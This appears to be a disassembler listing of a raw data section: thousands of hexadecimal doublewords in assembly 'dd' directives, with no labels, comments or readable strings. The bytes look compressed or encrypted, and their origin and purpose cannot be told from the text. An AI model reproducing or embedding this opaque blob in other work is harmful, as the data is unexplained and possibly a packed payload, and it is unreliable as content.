		dd 0D7918Eh, 4C5CBD1Eh,	0DF1C553h, 0BA794091h, 4007018h
		dd 979DFADh, 6A880B2h, 2E4FBBDBh, 6B60A8CEh, 82E98918h
		dd 15F23E8Fh, 0A1AA0803h, 48153216h, 6A0385Bh, 0D3622FB9h
		dd 649C0F38h, 0F48A0431h, 66734070h, 6D46238Bh,	0DC0EAE22h
		dd 96666Bh, 51409EA4h, 3AA6B818h, 31359FAAh, 0F0B40868h
		dd 775D8EC0h, 76A5462Ch, 86E888h, 362E5C5Dh, 1CF1A182h
		dd 2D385807h, 24997EEh,	482B83E4h, 0A70918h, 7A846EE5h
		dd 563501C3h, 0FC8D3E00h, 0C2E9CC2Ah, 269614EBh, 0EC23B8F2h
		dd 735D8A01h, 0B718852Ch, 82E488h, 0EF95D75Dh, 935A6DCBh
		dd 5CCE2312h, 0F2984440h, 5226289Eh, 3708A8EFh,	1802C5D6h
		dd 63CDBA38h, 6F14FF0Ch, 8F8B098h, 0EBA01DCh, 764046C4h
		dd 801DDCF0h, 5C74B829h, 0C818B971h, 0ECBD3D07h, 0CAB658A4h
		dd 305B7C88h, 2E29AC02h, 50EC57E5h, 66F53501h, 21CE6E7Ch
		dd 9FA9AC40h, 0C29CAF6h, 1707DC9Ch, 0E71B9774h,	4D7E05FBh
		dd 81DD852h, 0F3FD07E3h, 54FFF2F5h, 5C133619h, 269BF3F0h
		dd 0D87E2000h, 0E9F2AA2Eh, 24EEEA8Fh, 3B08331Bh, 0BC63A481h
		dd 45BF4657h, 0F41EC0h,	2C612872h, 6A0C0926h, 304CE7B6h
		dd 6E2094Bh, 0E817044Dh, 809EAE91h, 0BE2CD925h,	50C5376Bh
		dd 6C88D61Bh, 1BB09272h, 39FEB5B1h, 3F26823h, 23896671h
		dd 0B0346044h, 69DA88h,	0EB8C3866h, 0E496DF62h,	2F5A1C0Dh
		dd 93FE1B6h, 3011CB60h,	7DF3186Ah, 0E6B923DCh, 71004911h
		dd 0E50FDCEBh, 740A8BF7h, 0B8218276h, 9196B580h, 0F00BB4ACh
		dd 27420C93h, 8E68A33Eh, 800E0B3h, 0A6E1F1EFh, 3E0F2CEDh
		dd 292D50B0h, 10902B58h, 3F03B632h, 448C0951h, 0D50F8900h
		dd 0DE48F40Ah, 883801CDh, 0F7F03E98h, 69F1D43Fh, 0C8EDD026h
		dd 30000113h, 0FCCE242Dh, 0F120B936h, 21E18BCh,	334845AEh
		dd 0CC84B4B8h, 667760F8h, 8D23108Fh, 80B3C8C7h,	67666FE0h
		dd 9448EB5Ah, 0E6B05145h, 1A3FC4A1h, 7FA45324h,	0ABE1FFA8h
		dd 27E5D60Ah, 2302902Dh, 5E58B6h, 0FF1B96F5h, 0ED867418h
		dd 0FC7E1830h, 4C904801h, 18CB4E8h, 0DF50A92Bh,	766D5F46h
		dd 205AF028h, 904B674Ah, 8C6C2227h, 3E1F18C4h, 7067BE9h
		dd 46600FCAh, 5D8F02F1h, 9CAD2C78h, 87E900C0h, 0E2B2FF5Dh
		dd 0C800ACDCh, 99D8A971h, 8111A21Ah, 0C8C84B05h, 0E58BC7B0h
		dd 0CBB404AEh, 0CE25011Fh, 2D0150F8h, 0D41088F2h, 358D0C4Ah
		dd 78B130D1h, 2418B6D1h, 975F3900h, 0E4A84E87h,	9250380h
		dd 31FBCDACh, 0E22C8042h, 0BABB33B4h, 0A358E9C8h, 0BD18CCFEh
		dd 275035E7h, 60A0259Eh, 0B6915C1Dh, 0BC33C880h, 0F3386991h
		dd 0BD80E82h, 0FC4A21A9h, 0CC312A88h, 46F20472h, 18663330h
		dd 71B20260h, 0D8003F05h, 17E2A3E9h, 0FCCD8C35h, 90963BC2h
		dd 79B168E0h, 0E30D4B81h, 39B3029Dh, 7941AC4h, 3F9A5EAh
		dd 0F5A8B0F2h, 6713A18Fh, 7E02450Dh, 0A2892C34h, 4F10F0h
		dd 990B208h, 5AB3F70Fh,	0E40E3C1Eh, 258E00BBh, 0C64E6CD6h
		dd 0F880F228h, 0FA2CEB01h, 9354A7A2h, 0E2D03209h, 55C0324Ah
		dd 1D00D89Ch, 5779E759h, 309ECE18h, 37044A8h, 0D8009A9Bh
		dd 1F67A216h, 9A83C6A1h, 0B6C33804h, 2F0D4920h,	0D8EE64CEh
		dd 0B388FC4Eh, 4B778EC0h, 0B8D7E0ECh, 96354448h, 0F19587Bh
		dd 85E86E30h, 0A0BC60h,	0FDD79B77h, 0D40F93Ah, 389F9C0Fh
		dd 0CB187DE5h, 7F5FC21h, 5FC6983Ah, 0B63CD06Bh,	0C1037E93h
		dd 9FF1780Ah, 0B72800A4h, 155ED5C0h, 0BF0DEC2Ah, 8BC21BBh
		dd 0E62100D7h, 905D5ECDh, 0EE025444h, 0A013B3D7h, 853020A8h
		dd 8603B5B2h, 24C64610h, 78185078h, 90BF67E0h, 14998C83h
		dd 40652209h, 742B60CAh, 98A863C6h, 38047F70h, 0B8F4FDAFh
		dd 0F503050Fh, 41009F5Fh, 0D56414BBh, 0EC52324h, 0C4FB1C7Bh
		dd 0E021B28Ch, 62640C00h, 60568C9Fh, 5819C0A8h,	70880CFh
		dd 740F5A72h, 80E03DEFh, 67221DF1h, 0FF7306BDh,	0A9C384D6h
		dd 0F4B48700h, 0F240540Eh, 0C57800A3h, 3E426CB2h, 9A0FC965h
		dd 435286ABh, 9C5B22h, 7E1C5AB1h, 0AF9FF6A5h, 0A77490A8h
		dd 51965F01h, 9D29D267h, 7C4701E8h, 76E892h, 0C2FB062Fh
		dd 7520877Bh, 4038A160h, 0C0AEAD56h, 7E58FA68h,	0A6505EB2h
		dd 0EE74FB90h, 2F24684h, 24D26411h, 40FC330Bh, 596409DDh
		dd 0C7A90F2Fh, 0DA00C17Dh, 0EE742699h, 0FE89C4A8h, 0E8E1A080h
		dd 0C17BF007h, 7AF39711h, 0DBE0C0F9h, 0DFF8A419h, 21B99208h
		dd 977AEB00h, 6561D094h, 7FAD6002h, 88213F99h, 9B9E9460h
		dd 83CCA142h, 91684FBAh, 0C9D380CEh, 3E9CDDF8h,	0B1E4C63Ch
		dd 300932A6h, 0FB707AF5h, 9322F046h, 7AEDB900h,	890876DDh
		dd 0FE39F266h, 0B7448C7Ch, 7FCA644h, 0C4388E02h, 0A0B67076h
		dd 8C005903h, 1DA65AC2h, 292532Dh, 1F86A57Ah, 7884A141h
		dd 3AFF60CEh, 1D4023FBh, 0FE00D411h, 333B3AF7h,	1400170Ch
		dd 63F9C8F0h, 5E0DA05Ah, 47DEA125h, 0FC0D800h, 2124D064h
		dd 0B491C4FBh, 6407DB0Eh, 4A1E40C0h, 8AF0E688h,	5C888554h
		dd 8F59CE01h, 0C73EA3B8h, 3A6D24D0h, 0BB12BE4Ch, 23083AC4h
		dd 0BA1D0091h, 2F904E88h, 3C6CD148h, 3060C0A9h,	9C98BB1Ah
		dd 0A750EA74h, 2D182BE8h, 4BE0E289h, 0C07FECB7h, 56BD2A51h
		dd 0D80AD23Fh, 80E88752h, 1680F711h, 3324D764h,	0B122C543h
		dd 640EE200h, 2C552AE3h, 0D2C13035h, 0B287F68h,	9C7B8C99h
		dd 0EF7C067h, 0B20334D5h, 89736A02h, 90B1008Ah,	0BE7ED101h
		dd 0E0053D0h, 0ECA9B1C8h, 385B980h, 0C628CB3Ah,	310F7E2Ah
		dd 32345882h, 0B0162401h, 1C20742Dh, 0FA078CC9h, 0F540F63Ah
		dd 0FC9679h, 563AF2F9h
		dd 0B7A155C2h, 0A231B4A0h, 0B8F91899h, 0E11F0418h, 61C06B27h
		dd 7ED8881h, 982931C6h,	80B05FB9h, 0C40C5B31h, 1D6FF1h
		dd 0DA173DD0h, 0F96D3160h, 7D005DF0h, 0BE7F27C6h, 0A07E6E6Ch
		dd 605FFEF8h, 0F34F41AEh, 0D9006B67h, 39F9CF31h, 0C4167Eh
		dd 0BE03E9A7h, 0DE017BBBh, 0F79D1C1Eh, 2782603h, 2C7AA0D6h
		dd 0B829282Dh, 9F5C1EE8h, 1C5884A5h, 98CC93A4h,	48C885A2h
		dd 0E10E189Bh, 21567A3Ch, 78E26375h, 4C0EE2CBh,	7AFA3870h
		dd 88180111h, 0F2BE8094h, 0A1F3ED7Ah, 0EEA3E307h, 2FA0481Ch
		dd 1801AF27h, 71BD1B87h, 0C7009838h, 78BF57DEh,	0C0B6F420h
		dd 2F11898h, 0BC603C59h, 3341510h, 44CC908Dh, 85581D7Eh
		dd 9470011Fh, 0A560F74Ah, 437B9851h, 0FAF16AF4h, 5D9D1F5Bh
		dd 0C12D0515h, 0F88410E8h, 148CB6E8h, 0D42260DFh, 0B026B10Eh
		dd 0C1705103h, 36B6A004h, 84D0B849h, 98A16795h,	0E0A460Ch
		dd 8FC7AF6h, 4090C4F8h,	0BC7AEEBAh, 66A3033Ch, 380209AFh
		dd 9DDF58F8h, 8C41150h,	7AF41C8Ch, 88E811FAh, 0ECB8808Dh
		dd 57D1597Ah, 0F90012F2h, 79AF1489h, 0E9751Ah, 0DCDDFE72h
		dd 0E53AAAD8h, 8438ACF9h, 0BD4674h, 669CDE8Bh, 0F505B2h
		dd 0CAD4A949h, 9E3E6C26h, 0FF056890h, 0CE7C20A0h, 56C69800h
		dd 37442550h, 0BA20A4A2h, 61DD47ECh, 72612103h,	70270054h
		dd 98C70566h, 70DD767Bh, 70CB4872h, 500D2A1Eh, 0C6FB1EE6h
		dd 780C24A8h, 70A59C38h, 55361440h, 0D824D0CAh,	46D0A084h
		dd 7AF80E0Ch, 0A8080AFEh, 0B0F0BC70h, 7251CE4h,	709DDCB8h
		dd 9992DD50h, 0B5D19499h, 6F581D18h, 0B1B41194h, 0C7692C03h
		dd 93E0078Fh, 31C0AEA0h, 18E3C172h, 42AC0730h, 0D17501DDh
		dd 20CFAD0Ch, 58CF668h,	24D66415h, 78CE2Bh, 5B640DE1h
		dd 7C875AAh, 2D71058Ah,	936E80EAh, 0C60873A3h, 0B9CB328h
		dd 48202986h, 6C601D9Bh, 2A70EA25h, 0EB111874h,	0F5ECF80h
		dd 448CBC2Ah, 0C700E0B6h, 2488425Eh, 92667425h,	46210000h
		dd 0EF0FDBAEh, 0A093781Eh, 7DF269D0h, 10344CA6h, 37B9BC30h
		dd 6D039666h, 0AB50DC46h, 0C8A0B43Dh, 0A2C9806h, 0AE255E40h
		dd 902780E8h, 0D4012D2Ah, 912E2C90h, 60915C78h,	66221D02h
		dd 3CE513E3h, 1080F111h, 324D164h, 0DCC024B1h, 7436408h
		dd 0EAF3478Dh, 2115A0A3h, 0AD549FD3h, 22E67098h, 62871200h
		dd 0BB6CA46Ah, 5F7F0078h, 3FA6E41h, 88B0F6D6h, 0F902C846h
		dd 0ED40F53Ah, 0F810CF31h, 0C9003AF1h, 0D634CA54h, 3C0163E2h
		dd 44484C29h, 0C8D4F412h, 0B1C4C93Ch, 54A2E884h, 0FB01CA23h
		dd 0FD40F73Ah, 88D33848h, 3A00F3FAh, 0B512E8B3h, 6D9BEh
		dd 0B00A6955h, 2C168F36h, 44CD3805h, 78D1A60Eh,	8420273Bh
		dd 0F37905F9h, 29875Ah,	6F5FC638h, 0EA303C63h, 4D59309Dh
		dd 60F64CD9h, 0F8CB6E8h, 26A5D1F2h, 88352245h, 0BE636B14h
		dd 0D63CAA70h, 9318A031h, 9D2610B6h, 22860CCCh,	0C31799C2h
		dd 68388ED0h, 0A872CC88h, 4424D806h, 58A89952h,	6DF449Fh
		dd 198EDE3Ch, 0D36D0D10h, 0B1A2E853h, 1D974B30h, 41572263h
		dd 2B9EC7A3h, 0A80C74B3h, 25172D03h, 492BA3Ch, 390CCB70h
		dd 0C6FC02B8h, 1C9C6424h, 8E7601C9h, 5D47FAE8h,	0DD04C8B9h
		dd 74C2AF26h, 5ED430F0h, 0E42A1413h, 0E500948Bh, 3F405ECCh
		dd 6109F894h, 1D1F4DDh,	256647A0h, 4015E030h, 1750F1BDh
		dd 0ED008BF8h, 18F6C9ADh, 18256CFFh, 0B88F764Ch, 7D342CA1h
		dd 0F4A630CCh, 33065DE0h, 82F8A53Eh, 841DC39Ah,	0A3E0A7C1h
		dd 41D676D0h, 98A509F0h, 0D08201A9h, 7500D2C0h,	0CA4CA22h
		dd 0A75FFFF7h, 8006759h, 55B21C8Eh, 0E7A6554h, 52D82DEEh
		dd 0E5C00477h, 908409C7h, 0E69F948h, 1FC0E21h, 91503125h
		dd 320B158Ch, 30BAF2A8h, 0DC00E622h, 41795987h,	94B6749Dh
		dd 80890A24h, 7F8B80ECh, 0D07DA8ADh, 60EB1305h,	0B090AE58h
		dd 31FCA278h, 86A8D61Ch, 780715BBh, 0F49562F9h,	0AA7C78C1h
		dd 2227C601h, 10D45818h, 4405CFD8h, 0D7CB7526h,	0D194C584h
		dd 0E0F447E8h, 0F112168Ch, 702F0607h, 0B500B323h, 0ACD54C76h
		dd 564213EBh, 0D6D845BDh, 28449005h, 9426EF3Ch,	35062082h
		dd 6D0DD5Dh, 5FA6771Eh,	290951A1h, 80E0631Ah, 59DE31B7h
		dd 0C82D2C1Ch, 26933EAAh, 804C9B2Ch, 0F280651Ch, 0C92F06E3h
		dd 98C87252h, 465E4896h, 2D4C01B2h, 38A15C05h, 0A440ABEDh
		dd 69ED5E42h, 9080F8C1h, 1FF76676h, 852030F5h, 82B5CB47h
		dd 0F886C764h, 5021261h, 5E768139h, 794C79A6h, 249D18CDh
		dd 3DA01BDBh, 94C1B7B0h, 50C86F77h, 3AF8C0C7h, 0E57740F4h
		dd 0F7CC4486h, 7B3AF007h, 21879918h, 900BCC4h, 0C8E9352Ah
		dd 90FAF8CAh, 6041CC2Ch, 0B468BE67h, 876FC0B4h,	7603AA82h
		dd 0DC58F992h, 0BA507BD1h, 26C6176Ch, 0E18049E9h, 8BC4BC45h
		dd 39617861h, 0A9880000h, 92367B91h, 0FEEB3C3Ch, 0FDD6E580h
		dd 0C44B6028h, 484D6301h, 8A225427h, 2510F839h,	74BE05E3h
		dd 94D4916Ah, 3858ACF2h, 8CB3E8h, 5CBF8B5Ah, 0B092A702h
		dd 212FFC35h, 0B023543Ah, 40EFE800h, 0B4B29536h, 0BCA488CCh
		dd 0AA40E264h, 44619A6Eh, 0BE3FC18Bh, 54883434h, 0FAA082h
		dd 593E6C5Ah, 0BF1AC330h, 209F7E25h, 0EA7C3238h, 7F6A0E2Fh
		dd 6006163Eh, 310051ACh, 0E8178070h, 3FA8F675h,	0F780F0BBh
		dd 11F9E5CEh, 930E951Dh, 6140815h, 9EA8213Fh, 5DBA61C0h
		dd 60C98CB5h, 4AED59F0h, 0D6102042h, 8E263C62h,	39343493h
		dd 6CEC4092h, 5ED004DCh, 38C42A10h, 5EC81FE1h, 0F3FB0095h
		dd 85174208h, 9D51C76Ah, 0ECF29900h, 892393h, 2506371Dh
		dd 0B543948Ch, 0BE004094h, 5D0CA249h, 232881E0h, 0F9950320h
		dd 589FB6BEh, 0A9040450h, 80D08428h, 0F135E074h, 0D8D0BE67h
		dd 0E27C43E1h, 90B8146Ch, 0BA391C8Ch, 0AC4E048Ch, 0C1B8F483h
		dd 0A6F4300h, 9DB1E744h, 12FB001Bh, 0F0E5DE6Ch,	193C24EFh
		dd 0D8304B0Fh, 38672F8h, 16F7CB4Ch, 0C1D53B97h,	19C064Ch
		dd 0C850A360h, 4A2CADh,	0EB1E8BCEh, 0D4403176h,	2C08D8D2h
		dd 3AFEC0CDh, 155B40FAh, 3BFDA02Ch, 0F9003AF6h,	742511C5h
		dd 0AF80AC92h, 71B563FFh, 3100C083h, 0E342A1CAh, 7C90E721h
		dd 7D883004h, 0C21265C1h, 0FB082416h, 243D741Ch, 0ED110CDBh
		dd 115ED180h, 448CCC2Ah, 0C907E2B9h, 0C567B5Eh,	0CA539A10h
		dd 32C24484h, 0E06E4400h, 0CF95F031h, 576C1FDBh, 0DC48D5FBh
		dd 2115290Bh, 0B34BA8A4h, 0C058A7D0h, 0BE5A027Ch, 0DE69A601h
		dd 9D5DE8F6h, 4B759C68h, 23382F0Ch, 877900D4h, 3427F34Ah
		dd 93A1E701h, 0CD14AA03h, 6C26B184h, 84609142h,	0A26463E9h
		dd 0D81630B2h, 0A134C802h, 79D3DC28h, 545A3938h, 0B510803Ch
		dd 5F02059Eh, 0D0F423C6h, 141C5586h, 80B30820h,	0BB2E8438h
		dd 50086CF2h, 71600BFh,	0FA767E6Fh, 0B8CE23Fh, 65064FCCh
		dd 60B2C4C0h, 5F5FEAACh, 0C9D020BBh, 570094ECh,	0EB3505FCh
		dd 7BE36A5h, 0F3092ED9h, 8087C9D7h, 25C681C8h, 1E604180h
		dd 21711B9h, 706251D1h,	792DB806h, 9CA0D0B4h, 9984BD88h
		dd 18D171F0h, 1879003Ch, 296EE7BEh, 67049A03h, 1C5102A1h
		dd 99D08A0h, 0AC588311h, 129B0440h, 0B8FCB428h,	0D700FEE5h
		dd 0A08A7C25h, 1EBF5260h, 0C0940317h, 0AAD9611Ch, 5098796Dh
		dd 0F90E0D46h, 1009FF7Ah, 0BD80D8E5h, 0F177AF1h, 5E400BEAh
		dd 0FC6CB8F9h, 80B8844Ch
		dd 0ECBB4073h, 635A00B1h, 0DEEB9AE4h, 0F8050E5Fh, 64424487h
		dd 8BF284B2h, 14A33B30h, 80A27858h, 7C892F74h, 0AF91D017h
		dd 38024080h, 11000C7Fh, 65FC600Dh, 9D5C6E5h, 0CE83AE01h
		dd 24C1498h, 9E044A3Dh,	0E3A64944h, 62F9F50Bh, 71AC71E8h
		dd 489A188Ch, 5A10D081h, 36060296h, 0FA88F080h,	0E78D0F44h
		dd 9860071Eh, 0FB6B2BF3h, 2D2C0F04h, 0F080C0C9h, 25B08FC6h
		dd 0C68ECFFh, 8A2DB2EBh, 592832EDh, 18B85930h, 0B6E701AFh
		dd 3923FC5Bh, 991C609Ch, 0CAC99D0h, 0B8796A4Ch,	426CA089h
		dd 0EA1F0011h, 206659BDh, 55010EE0h, 0D28D1C67h, 0D7D4BC73h
		dd 0D6D90749h, 3BFDB090h, 0A73D5C90h, 590CD188h, 0A44CC0F1h
		dd 74147A24h, 0A50E8D46h, 0B1EC15EAh, 36032559h, 0AF853A08h
		dd 561A005Eh, 0E517C6EDh, 972C9964h, 2E09039h, 2436B68Dh
		dd 974CF01h, 7C07F2CEh,	0D600B89Dh, 30712F9h, 2C170B95h
		dd 0F4E00935h, 62854C4h, 100907Ah, 7085EA3h, 98961F9h
		dd 0EBD8D60Ch, 0CE748C44h, 0C424A584h, 0E7026091h, 4538007Bh
		dd 5DE2C9A2h, 0B8BABC51h, 6C72E145h, 0AA30B6F2h, 56C00AFh
		dd 9C269DFFh, 34F75903h, 61094244h, 2EC484D8h, 8776C090h
		dd 7991BDh, 15BCEF49h, 0CA546EFAh, 0DAE0FC13h, 0FC008CC5h
		dd 56407403h, 0A89F61C5h, 38A4213Eh, 1CEE7DD8h,	0B0B3190Ah
		dd 0EC0B58F8h, 0B0C0E317h, 41952CACh, 0EC382BD2h, 39AD61FCh
		dd 2F0A54A4h, 0DC9F4809h, 428C26C3h, 20D3875Ah,	465ED8AEh
		dd 445D00B5h, 0ED3BFAA7h, 2D2A16ACh, 843C8125h,	7C62C8h
		dd 0D6BF205Eh, 795439B3h, 219FC94h, 1738CA60h, 58D1A05Bh
		dd 31A92602h, 71A8F1E2h, 39B51890h, 4187F3B1h, 8B3FAB56h
		dd 8F0DB444h, 318329C6h, 4F7830C4h, 0B3C400CDh,	0C41EC968h
		dd 0BEC53418h, 13E35988h, 8BE84DA5h, 0C0D3C8E0h, 5CCF5EC8h
		dd 4FC2401h, 56426A8Fh,	0A0162839h, 6990D720h, 0B130647Ah
		dd 86B9F696h, 0F8AD074Fh, 705FFC20h, 0CA3CAAFAh, 848829C6h
		dd 21C800C9h, 6C0183D4h, 6D3AF35Ch, 37C8211h, 48C75451h
		dd 612D5658h, 0AAD578CEh, 4902EB3Ah, 60F5285Eh,	82B4C3D0h
		dd 2E4001BBh, 4A486C25h, 92C8F8CBh, 29B8C6C0h, 0C4460E79h
		dd 8705EAF7h, 4284C826h, 518A4DECh, 1916B8h, 925C6D0Bh
		dd 0F9397DAFh, 5AD807Bh, 1D6FFAA3h, 0D25B13A2h,	612C03DAh
		dd 3800AFD4h, 396B527h,	1F2C1D5Dh, 2CBB876Ah, 18E77E00h
		dd 597C00E7h, 0C780A041h, 6C906148h, 9B73120h, 0A79E3C28h
		dd 0BAD9F4D1h, 490B8118h, 2F65F87h, 0C440AB71h,	15290800h
		dd 260CBCDDh, 405578AEh, 7600EBC1h, 0E0434F8Ah,	90BF7C29h
		dd 58783B4Ch, 4BBCA62Eh, 85002444h, 461FE055h, 1388E990h
		dd 4633343h, 0C43C64h, 97FD2E16h, 828726DDh, 0CA00DE94h
		dd 0AF6BAC7Dh, 3FE5D8F4h, 0A6121F73h, 0B0F4B6E1h, 0FAAC88h
		dd 0D3A1A789h, 270F83BAh, 8DDA6C14h, 873005B8h,	0F041E623h
		dd 0A95FF307h, 0BC839180h, 0C6D39DDCh, 0E0DD7400h, 2F65E876h
		dd 0A8B01716h, 0E3D02083h, 0C000AF06h, 2A4ACF4h, 81F658h
		dd 67EE87BCh, 0CFFB1610h, 37ADB8A0h, 312EA901h,	0AB8C2879h
		dd 147AB448h, 8B3C850h,	2817E125h, 51809311h, 77D1C4D8h
		dd 0E2DA6300h, 0D05ADE18h, 31761DB5h, 0A66035A0h, 705CE020h
		dd 0CBBA0072h, 2287829Dh, 0FD2D29BEh, 59EC0044h, 797AC398h
		dd 423E010Dh, 86AB9D71h, 0E0402E28h, 0C9352A08h, 0FA30C0D8h
		dd 59DE74B6h, 1A7C252Dh, 5EA05C9Ch, 0F302CF46h,	7E3E5556h
		dd 0D8E1F7E2h, 19C2D88h, 0A7A41CD4h, 0B424829Eh, 0D2048CEEh
		dd 0D42A125Eh, 0E380D867h, 477F5ECAh, 1D260E9Ah, 430B4F22h
		dd 3D04C8E7h, 58B878D0h, 8CB8ECh, 0AAB36B58h, 12CCA68h
		dd 0BE0B949h, 40806674h, 0E3D115C0h, 84389300h,	4AB4785Dh
		dd 93C81CCBh, 0D3FC14C0h, 7CE90004h, 8387B1F7h,	2530C676h
		dd 58A229EDh, 17D49614h, 0C0DC033Ah, 0F018AB9Eh, 0C3C1D33Bh
		dd 0EA2D2C2Ch, 0A13C88D8h, 91C89725h, 75EC83CBh, 0E001E313h
		dd 606104C9h, 3C6258BFh, 0E4A39CC6h, 89B7610Dh,	6E2AA9C7h
		dd 0D57707CCh, 1B93B187h, 6B614F63h, 17B623A0h,	25F001C0h
		dd 4289466Ch, 511A2DDCh, 282B0B88h, 4C1EAD80h, 3F00CE79h
		dd 0DA1CBB74h, 4E9B769Fh, 0B92C88B6h, 0F261AB0Eh, 5CE0D31Ah
		dd 96441B25h, 0A4A560AAh, 31D7DE4Ch, 2CC48CC0h,	9A79C085h
		dd 7EAB2A4Ch, 9CDB8491h, 0F9CA360h, 65661900h, 0F1377DD7h
		dd 881B4B86h, 0D40E5FC4h, 0F6A5400Eh, 0EFE008A6h, 0D305505Ah
		dd 0C5DC3880h, 7C4D6CD1h, 0B488C84Fh, 0A10185C0h, 9545A30h
		dd 68689FC8h, 0DE1CFD7Eh, 0C08FCA6Eh, 16E60198h, 90E4A282h
		dd 541095E8h, 99E8F8D9h, 2779BCFAh, 67FCD200h, 851CDDA1h
		dd 81F53E6Eh, 5114CA04h, 0FD54F8E8h, 5BD630D6h,	0A39EEB00h
		dd 3844E1C1h, 132E0B87h, 3864DA59h, 0C5A8D200h,	81AFB9A2h
		dd 8F512587h, 0B8E4D445h, 724DA560h, 7CB809E2h,	0B5135B74h
		dd 7847D93Fh, 12A91941h, 44506744h, 6BCB6091h, 0EF0295B6h
		dd 1C529FC4h, 913CD100h, 26D810CAh, 0FFB0307Dh,	15FC7739h
		dd 0AB3B2C06h, 0E031AC45h, 7D1C00DEh, 76023D97h, 0FC4FE0F2h
		dd 30F36022h, 0D3106412h, 0DEE01324h, 0D027640Ah, 0AB38C097h
		dd 0A3941276h, 0E05CF673h, 7D08A30h, 0F4076784h, 80105BCAh
		dd 0B901C72Dh, 3D99BC1Ah, 98401569h, 121DBB8h, 8675C246h
		dd 2D6C9A80h, 0D02F5AC4h, 6400BA23h, 0EF7C683Ah, 1C915859h
		dd 25AA8210h, 13F42089h, 772B6F3h, 0D79C3060h, 3550175Fh
		dd 3DBCA277h, 4C6E96C6h, 4E00647Ah, 0AC6C7157h,	79C0888Ah
		dd 8D3AD072h, 19580018h, 0D17D6301h, 0A400493Fh, 0C5DA335h
		dd 2EA601Dh, 1129BB1h, 9470E439h, 8724F377h, 68347E1Eh
		dd 81C744A0h, 5B7C2186h, 2D85C0B4h, 9C71A1Eh, 71D43456h
		dd 2288A049h, 695A0078h, 2E2C5C39h, 4C489016h, 0AFBC6C06h
		dd 0AB29148Ch, 2B043046h, 0FCD93135h, 5A868080h, 450307AFh
		dd 0B4AECC8Dh, 304C4600h, 0B8FC4FCCh, 0A1F13025h, 0FFD6FF8h
		dd 0C4E44582h, 60E060B8h, 0FA390907h, 4072FEAFh, 30776490h
		dd 7008BC30h, 4C913FABh, 0D6F9BC79h, 7EF1C30h, 390A897Eh
		dd 3640C150h, 0C4092E51h, 0EE649130h, 0B8703820h, 786217F6h
		dd 0C0549A05h, 6BB9A6BCh, 350F0036h, 0F15AD8F6h, 0F801ABDAh
		dd 218779F2h, 0A0AFA240h, 9401C837h, 0F1FA1226h, 40414020h
		dd 0B0B4D6B3h, 59B8514Bh, 831893h, 323348B9h, 611DCA7Eh
		dd 0BB5D6E01h, 0B89BFBAFh, 77047A6Bh, 76C91800h, 4BF39472h
		dd 0C6B408BCh, 8689842Ch, 0E2A4CB23h, 0BE98522Dh, 0C065EB5Ch
		dd 8A60D364h, 0ED0E10CDh, 0FC682AAh, 20B3E94Eh,	77B930Ch
		dd 357E0E0Dh, 1C21E2h, 6E4C7DFBh, 5C0494F8h, 0FCA726B1h
		dd 29E0FCB6h, 21004039h, 7CA18F26h, 94853565h, 0F21B8030h
		dd 0B4D42C8Ch, 0C65D20F7h, 0D174B30Fh, 60438707h, 0E23CE5A0h
		dd 52870463h, 90ABDEADh, 0EE218654h, 0C41749C1h, 3A80FCh
		dd 6B7A1BA0h, 105B84D9h, 0D08820CFh, 0CFC15FC0h, 18F03D1h
		dd 0CD8D0D2Ah, 77266016h, 28E178E6h, 91872058h,	70D78E02h
		dd 0FA03B020h, 4CC40934h, 6CF19432h, 0B06E0B97h, 40885F7Ch
		dd 7F13DF30h, 9600BD3Ah, 477591E5h, 0E90343Eh, 0ABC31081h
		dd 80F32E40h, 0B24EAC30h, 3EFF30C0h, 1384E21h, 3331F484h
		dd 0A2C463D9h, 0AC1D30D0h
		dd 15B35803h, 0FFFD2A73h, 0F258681Bh, 38F1C49Ch, 0C8AC8B06h
		dd 1951C2B0h, 1D16D4F6h, 0D5229CCEh, 0FCD36491h, 0C9DDAC61h
		dd 0D4E3D0CBh, 1D616500h, 4A388F7Dh, 69C0B6F3h,	3F01DCD1h
		dd 0C68638F7h, 30D6C46Ch, 0A26B0D40h, 0D924AF05h, 0CB8F633h
		dd 0F224F2D2h, 0CC093193h, 0B0B8194Ch, 29BFCD00h, 26408F03h
		dd 0E00297E5h, 0C8E50607h, 0D760B6E4h, 0A901085Ch, 0BAF76C75h
		dd 0BCED50A2h, 87A2Bh, 2C33FADDh, 0C786446h, 0D5E83881h
		dd 5D13BA50h, 0CE4A355h, 7BCF41C4h, 98300827h, 2147CAh
		dd 0AFFC7BDh, 718B9779h, 76023E02h, 47FADBCDh, 61CC44F8h
		dd 207A5527h, 0D552A9E8h, 0BCF2CC00h, 49EB998Eh, 4F90F87Fh
		dd 0C04C9A05h, 0F4130809h, 74CF0B5Dh, 3467A4AAh, 0E88EB16Fh
		dd 1D3E7021h, 3BABD02Ch, 0C725228Ch, 963A7413h,	40B914B4h
		dd 0EC2684DDh, 467C8C97h, 33F41CCDh, 0A85A8741h, 2C23392Ch
		dd 0F830B3A2h, 10D0BF74h, 97380101h, 0A5A2C931h, 18C0C9A7h
		dd 6182B80Ch, 42EA95F0h, 5EA4F40Ch, 0CF128B46h,	3ECDE1A8h
		dd 39014077h, 0F111A170h, 0C0B1F9DDh, 414BAAC8h, 3F5F8C40h
		dd 50D4B027h, 8AA1B807h, 4676DC76h, 565A00B8h, 520750Bh
		dd 88FD1341h, 69640A4Fh, 81727A8h, 0FF80B991h, 1D470E3Dh
		dd 2104D50Dh, 0A0423666h, 0F1CD20A7h, 4A02B259h, 0E66C9EA4h
		dd 5BCDEA5h, 0E2BC5BFAh, 30B9F2ACh, 4870A3BDh, 0DDA79A00h
		dd 20328D1Ch, 0A50902Ch, 0F307EC71h, 0B0803FACh, 634C59A8h
		dd 113FFF90h, 5DC48F9h,	0A0FBA36Ah, 0C0268B9h, 7F22D8E2h
		dd 0A90E387Eh, 2BC5A01Ch, 95E5F905h, 560BC0Ah, 0B1B430A0h
		dd 80B0D9A8h, 9D153541h, 1D76AE4h, 7B4CCA43h, 219F6301h
		dd 0FF80EFEDh, 1418E995h, 51100AE3h, 0C30370E8h, 0C3592002h
		dd 244C8990h, 44810419h, 21801A08h, 0C0C35141h,	5F008B90h
		dd 8D4CD3E3h, 3DD5CA9Dh, 0BD8C0AE6h, 0FF5C1385h, 556091FFh
		dd 22C35D87h, 1B316C89h, 0C3554510h, 0F92AE100h, 9133D8DCh
		dd 85FF0593h, 8E31C15h,	0E9062F31h, 6E380796h, 5D0041E8h
		dd 31B9ED81h, 90AE703h,	7C1BCDB5h, 25BD3E2Eh, 39D00C66h
		dd 87860F0Dh, 0AC910C01h, 0C35A8752h, 31548922h, 5242101Dh
